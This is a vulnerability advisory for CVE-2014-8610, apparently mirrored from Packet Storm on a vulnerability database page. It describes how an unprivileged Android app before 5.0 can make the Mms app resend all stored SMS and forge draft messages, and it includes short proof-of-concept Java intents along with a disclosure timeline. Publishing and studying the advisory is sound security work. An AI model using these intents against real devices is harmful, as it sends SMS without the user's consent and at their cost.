Lucene search
K

Android SMS Resend

🗓️ 26 Nov 2014 00:00:00Reported by WangTaoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Android SMS Resend vulnerability in Mms app pre-5.0 allows unprivileged app to resend all SMS without user interaction. Bad app can also create and resend draft SMS without privilege requirement

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Android SMS Resend Vulnerability
26 Nov 201400:00
zdt
Tenable Nessus
Google Android Operating System < 5.0.0 Multiple Vulnerabilities
10 Apr 201500:00
nessus
CVE
CVE-2014-8610
15 Dec 201417:27
cve
Cvelist
CVE-2014-8610
15 Dec 201417:27
cvelist
EUVD
EUVD-2014-8447
7 Oct 202500:30
euvd
NVD
CVE-2014-8610
15 Dec 201418:59
nvd
Prion
Code injection
15 Dec 201418:59
prion
`INTRODUCTION  
==================================  
In Android <5.0, an unprivileged app can resend all the SMS stored in the user's phone to their corresponding recipients or senders (without user interaction).  
No matter whether these SMS are sent to or received from other people. This may leads to undesired cost to user.  
Even the worse, since Android also allow unprivileged app to create draft SMS, combined with this trick, bad app can send any SMS without privilege requirement.  
  
DETAILS  
==================================  
This vulnerability exists in the following source file of the Mms app:  
https://android.googlesource.com/platform/packages/apps/Mms/+/android-4.4.4_r2.0.1/src/com/android/mms/transaction/SmsReceiverService.java  
If bad app broadcast an intent with action "com.android.mms.transaction.MESSAGE_SENT", it will reach the method "handleSmsSent". If the bad app can also control the resultcode to be RESULT_ERROR_RADIO_OFF, then it will reach the following conditional branch, there the SMS (determined by uri ) will be moved to a queue to be resent:  
  
private void handleSmsSent(Intent intent, int error) {  
...  
} else if ((mResultCode == SmsManager.RESULT_ERROR_RADIO_OFF) || (mResultCode == SmsManager.RESULT_ERROR_NO_SERVICE)) {  
if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) {  
Log.v(TAG, "handleSmsSent: no service, queuing message w/ uri: " + uri);  
}  
// We got an error with no service or no radio. Register for state changes so  
// when the status of the connection/radio changes, we can try to send the  
// queued up messages.  
registerForServiceStateChanges();  
// We couldn't send the message, put in the queue to retry later.  
Sms.moveMessageToFolder(this, uri, Sms.MESSAGE_TYPE_QUEUED, error);  
...  
  
The POC code is as follows:  
  
Intent intent= new Intent("com.android.mms.transaction.MESSAGE_SENT");  
intent.setData(Uri.parse("content://sms"));  
intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiver");  
sendOrderedBroadcast(intent,null,null,null,SmsManager.RESULT_ERROR_RADIO_OFF,null,null);  
  
Some tips about the POC:  
1. uri is content://sms without specifying the ID, that means all the SMS will be resent.  
2. must use explicit intent  
3. with this version of sendOrderedBroadcast, the initial result code can be controlled  
  
Normally, once the SMS is moved to the queue, it will be sent automatically!  
  
But can we craft any SMS message? here is a trick:  
  
Currently, any app can create a draft SMS without permission by a code snippet as follows:  
  
Intent intent1 = new Intent("android.intent.action.SENDTO");  
intent1.setData(Uri.parse("smsto:yourphonenumber"));  
intent1.putExtra("sms_body", "another test sms1!");  
startActivity(intent1);  
  
After send the above intent, the app can wait for a short time then start another activity, this will cause ComposeMessageActivity in MMS app to call method onStop(), which will save the draft into database, which can be resent later. Thus we can craft any SMS message without permission requirement.  
  
This has been fixed in android 5.0 (android bug id 17671795)  
https://android.googlesource.com/platform/packages/apps/Mms/+/008d6202fca4002a7dfe333f22377faa73585c67  
  
TIMELINE  
==================================  
26.09.2014 Initial report to Android Security Team with the POC  
27.09.2014 Reply from Android Security Team "are looking into it"  
30.09.2014 Find app can create draft and notify Android Security Team with a updated POC  
02.10.2014 Reply from Android Security Team "We will fix this issue in the next major release"  
04.11.2014 Android 5.0 source code is open, the fix for this issue is found in change log, ask Android Security Team when this can be published  
09.11.2014 Contact MITRE about this issue  
20.11.2014 CVE-2014-8610 assigned  
25.11.2014 Got Permission from Android Security Team to publish this  
26.11.2014 Public Disclosure  
  
IDENTIFIERS  
==================================  
CVE-2014-8610  
Android id 17671795  
  
CREDITS  
==================================  
WangTao (neobyte) of Baidu X-Team  
WangYu of Baidu X-Team  
Zhang Donghui of Baidu X-Team  
  
--  
BAIDU X-TEAM (xteam.baidu.com)  
An external link of this advisory can be found at http://xteam.baidu.com/?p=164  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Nov 2014 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.00061
31